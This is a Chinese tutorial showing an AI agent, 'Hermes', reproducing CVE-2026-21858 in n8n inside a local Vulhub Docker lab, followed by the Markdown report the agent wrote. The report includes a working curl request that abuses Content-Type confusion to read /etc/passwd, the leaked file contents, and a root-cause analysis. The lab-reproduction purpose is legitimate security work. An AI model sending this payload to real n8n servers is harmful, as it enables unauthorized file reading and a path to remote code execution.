第七章 利用hermes开展CVE-2026-21858 漏洞复现实操并提供报告

windows wsl kali运行hermes的环境

前提是按照AI网络安全应用实操步骤搭建好的实验环境https://blog.csdn.net/weixin_44626085/category_13181113.html

⚙️ /new
(^_^)v New session started!

────────────────────────────────────────
●
使用add-vulhub-env技能启动CVE-2026-21858漏洞环境并进行漏洞复现，要把每个关键步骤的指令和系统返回信息记录下来，用md格式将
报告写到/mnt/g/wiki/lab/vulhub目录下面，然后释放资源
────────────────────────────────────────

┊ 📚 preparing skill_view…
┊ 📚 skill add-vulhub-env 0.2s [Skill 'add-vulhub-env' not found.]
┊ 📚 preparing skill_view…
┊ 📚 skill docker-vulhub-deploy 0.2s
┊ 📚 preparing skill_view…
┊ 📚 skill VulhubLab 0.2s
┊ 🔎 preparing search_files…
┊ 🔎 find CVE-2026-21858 0.2s
┊ 🔎 preparing search_files…
┊ 🔎 grep 21858 0.0s
┊ 🔎 preparing search_files…
┊ 🔎 grep 21858 0.0s
┊ 🔎 preparing search_files…
┊ 🔎 grep 21858 0.0s
┊ 🔎 preparing search_files…
┊ 🔎 find CVE-2024 66.9s
┊ 💻 preparing terminal…
┊ 💻 $ ls ~/.hermes/skills/VulhubLab/ | head -50 0.4s
┊ 💻 preparing terminal…
┊ 💻 $ ls ~/.hermes/skills/VulhubLab/docker/ 0.2s
┊ 💻 preparing terminal…
┊ 💻 $ find ~/.hermes/skills/VulhubLab -name "*21858*" -o -name "*CVE-2024*21858*" -o -name "*CVE-2025*21858*" -o -name "*CVE-2026*21858*" 2>/dev/null 0.3s
┊ 💻 preparing terminal…
┊ 💻 $ ls ~/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/ 0.2s
┊ 📖 preparing read_file…
┊ 📖 read /home/kali/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/README.md 0.1s
┊ 📖 preparing read_file…
┊ 📖 read /home/kali/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/README.zh-cn.md 0.1s
┊ 📖 preparing read_file…
┊ 📖 read /home/kali/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/docker-compose.yml 0.1s
┊ 📋 preparing todo…
┊ 📋 plan 7 task(s) 0.0s
┊ 📋 preparing todo…
┊ 📋 plan 7 task(s) 0.0s
┊ 💻 preparing terminal…
┊ 💻 $ docker info > /dev/null 2>&1 && echo "Docker is running" || echo "Docker is NOT running" 5.5s
┊ 💻 preparing terminal…
┊ 💻 $ docker ps -a 2>&1; echo "=== END ===" 0.2s
┊ 📋 preparing todo…
┊ 📋 plan 1/7 task(s) 0.0s
┊ 💻 preparing terminal…
┊ 💻 $ cd ~/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/ && docker compose up -d 2>&1 0.0s [This foreground command appears to start a lo…]
┊ 💻 preparing terminal…
┊ 💻 $ cd ~/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/ && docker compose up -d 2>&1 0.0s
┊ 💻 preparing terminal…
┊ 💻 $ cd ~/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/ && docker-compose up -d 2>&1 1.4s
┊ 📋 preparing todo…
┊ 📋 plan 2/7 task(s) 0.0s
┊ 💻 preparing terminal…
┊ 💻 $ sleep 10 && docker ps -a 2>&1 10.3s
┊ 💻 preparing terminal…
┊ 💻 $ curl -s http://localhost:5678/ 2>&1 | head -20 0.3s
┊ 💻 preparing terminal…
┊ 💻 $ curl -s http://localhost:5678/form/vulnerable-form 2>&1 | head -50 0.3s
┊ 📋 preparing todo…
┊ 📋 plan 3/7 task(s) 0.0s
┊ 💻 preparing terminal…
┊ 💻 $ curl -s -X POST http://localhost:5678/form/vulnerable-form \\
-H "Content-Type: application/json" \\
-d '{"data":{},"files":{"file1":{"filepath":"/etc/passwd","originalFilename":"test.bin","mimetype":"application/octet-stream","size":12345}}}' 2>&1 0.4s
┊ 📋 preparing todo…
┊ 📋 plan 4/7 task(s) 0.0s
┊ 💻 preparing terminal…
┊ 💻 $ docker ps -a 2>&1 0.2s
┊ 📋 preparing todo…
┊ 📋 plan 5/7 task(s) 0.0s
┊ 💻 preparing terminal…
┊ 💻 $ cd ~/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/ && docker-compose down -v 2>&1 2.4s
┊ 💻 preparing terminal…
┊ 💻 $ docker ps -a 2>&1 0.2s
┊ 📋 preparing todo…
┊ 📋 plan 6/7 task(s) 0.0s
┊ 💻 preparing terminal…
┊ 💻 $ mkdir -p /mnt/g/wiki/lab/vulhub && ls /mnt/g/wiki/lab/vulhub/ 2>&1 0.2s
┊ 📖 preparing read_file…
┊ 📖 read /mnt/g/wiki/lab/vulhub/CVE-2026-21858.md 0.1s
┊ ✍️ preparing write_file…
┊ ✍️ write /mnt/g/wiki/lab/vulhub/CVE-2026-21858.md 0.2s
┊ review diff

╭─ ⚕ Hermes ───────────────────────────────────────────────────────────────────────────────────────────────────────────╮
完成摘要

CVE-2026-21858 漏洞复现已完成，全部步骤如下：

1. 环境检查 — Docker 服务正常运行
2. 环境部署 — docker-compose up -d 启动 n8n:1.65.0 容器
3. 服务验证 — 确认 /form/vulnerable-form 端点可用
4. 漏洞复现 — 通过发送 application/json 请求读取 /etc/passwd，成功证明 Content-Type 混淆漏洞
5. 资源释放 — docker-compose down -v 清理容器和网络
6. 报告写入 — 完整报告已保存到 /mnt/g/wiki/lab/vulhub/CVE-2026-21858.md

报告已记录每个关键步骤的指令和系统返回信息，包含 Docker PS 输出的前后状态对比。
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
💾 Self-improvement review: Patched SKILL.md in skill 'docker-vulhub-deploy' (1 replacement). · Patched SKILL.md in skill 'VulhubLab' (1 replacement).
⚕ Qwen3.6-35B-A3B-Uncenso… │ 48.4K/131.1K │ [████░░░░░░] 37% │ 12m │ ⏲ 3m 3s │ ✓ 9m
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

CVE-2026-21858 漏洞复现报告

一、漏洞概述

• 漏洞名称：n8n Content-Type 混淆任意文件读取至 RCE（Ni8mare）
• CVE ID：CVE-2026-21858
• CVSS 评分：10.0（危急）
• 影响版本：n8n 1.65.0 ~ 1.120.x
• 漏洞类型：Content-Type 混淆 → 任意文件读取 → RCE
• 修复状态：已修复

二、环境部署步骤

2.1 检查 Docker 服务状态

$ docker info > /dev/null 2>&1 && echo "Docker is running" || echo "Docker is NOT running"
Docker is running

2.2 进入漏洞目录

$ cd ~/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/

2.3 查看 docker-compose.yml

services:
n8n:
image: vulhub/n8n:1.65.0
ports:
– "5678:5678"

2.4 启动容器

$ cd ~/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/ && docker-compose up -d
Network cve-2026-21858_default Creating
Network cve-2026-21858_default Created
Container cve-2026-21858-n8n-1 Creating
Container cve-2026-21858-n8n-1 Created
Container cve-2026-21858-n8n-1 Starting
Container cve-2026-21858-n8n-1 Started

2.5 等待服务就绪（约 30 秒）

$ sleep 10 && docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
3ac9fbfaa641 vulhub/n8n:1.65.0 "/docker-entrypoint.…" 14 seconds ago Up 13 seconds 0.0.0.0:5678->5678/tcp, [::]:5678->5678/tcp cve-2026-21858-n8n-1

2.6 Docker PS 输出（资源释放前）

$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
3ac9fbfaa641 vulhub/n8n:1.65.0 "/docker-entrypoint.…" 27 seconds ago Up 27 seconds 0.0.0.0:5678->5678/tcp, [::]:5678->5678/tcp cve-2026-21858-n8n-1

三、漏洞复现过程

3.1 验证服务可用性

$ curl -s http://localhost:5678/ | head -20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1.0" />
<link rel="icon" href="/favicon.ico" />
...
<title>n8n.io – Workflow Automation</title>

3.2 验证 Form Webhook 端点

$ curl -s http://localhost:5678/form/vulnerable-form | head -30
<html lang='en'>
<head>
<meta charset='UTF-8' />
<meta name='viewport' content='width=device-width, initial-scale=1.0' />
<link rel='icon' type='image/png' href='https://n8n.io/favicon.ico' />
...
<title>Document Submission</title>

3.3 发送 Content-Type 混淆载荷

$ curl -s -X POST http://localhost:5678/form/vulnerable-form \\
-H "Content-Type: application/json" \\
-H "User-Agent: curl" \\
-d '{"data":{},"files":{"file1":{"filepath":"/etc/passwd","originalFilename":"test.bin","mimetype":"application/octet-stream","size":12345}}}'

3.4 任意文件读取成功确认

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/run/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/bin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/bin/nologin
systemd-network:x:100:102:systemd-network:/run/systemd:/bin/nologin
systemd-resolve:x:101:103:systemd-resolve:/run/systemd:/bin/nologin
messagebus:x:102:104:systemd:/run/dbus:/bin/nologin
sshd:x:103:65555:sshd:/nonexistent:/bin/nologin
node:x:1000:1000::/home/node:/bin/bash

3.5 漏洞原理分析

n8n 的 formWebhook() 函数在处理 Form Webhook 端点时，未首先验证请求的 Content-Type 是否为 multipart/form-data。当正常请求应使用 multipart/form-data 时，攻击者发送 application/json 类型请求，直接控制 req.body.files 中的 filepath 属性，调用 copyBinaryFile() 方法读取任意文件。

漏洞核心代码路径：

formWebhook() → prepareFormReturnItem() → copyBinaryFile()

关键缺陷：req.body.files 在调用 copyBinaryFile() 之前未验证 Content-Type，导致 JSON 请求中的 filepath 可以直接写入。

四、资源释放

4.1 停止并删除容器

$ cd ~/.hermes/skills/VulhubLab/n8n/CVE-2026-21858/ && docker-compose down -v
Container cve-2026-21858-n8n-1 Stopping
Container cve-2026-21858-n8n-1 Stopped
Container cve-2026-21858-n8n-1 Removing
Container cve-2026-21858-n8n-1 Removed
Network cve-2026-21858_default Removing
Network cve-2026-21858_default Removed

4.2 Docker PS 输出（资源释放后）

$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

五、参考链接

• Ni8mare Research – Unauthenticated Remote Code Execution in n8n
• n8n Security Advisory
• Proof of Concept – CVE-2026-21858
• Vulhub Repository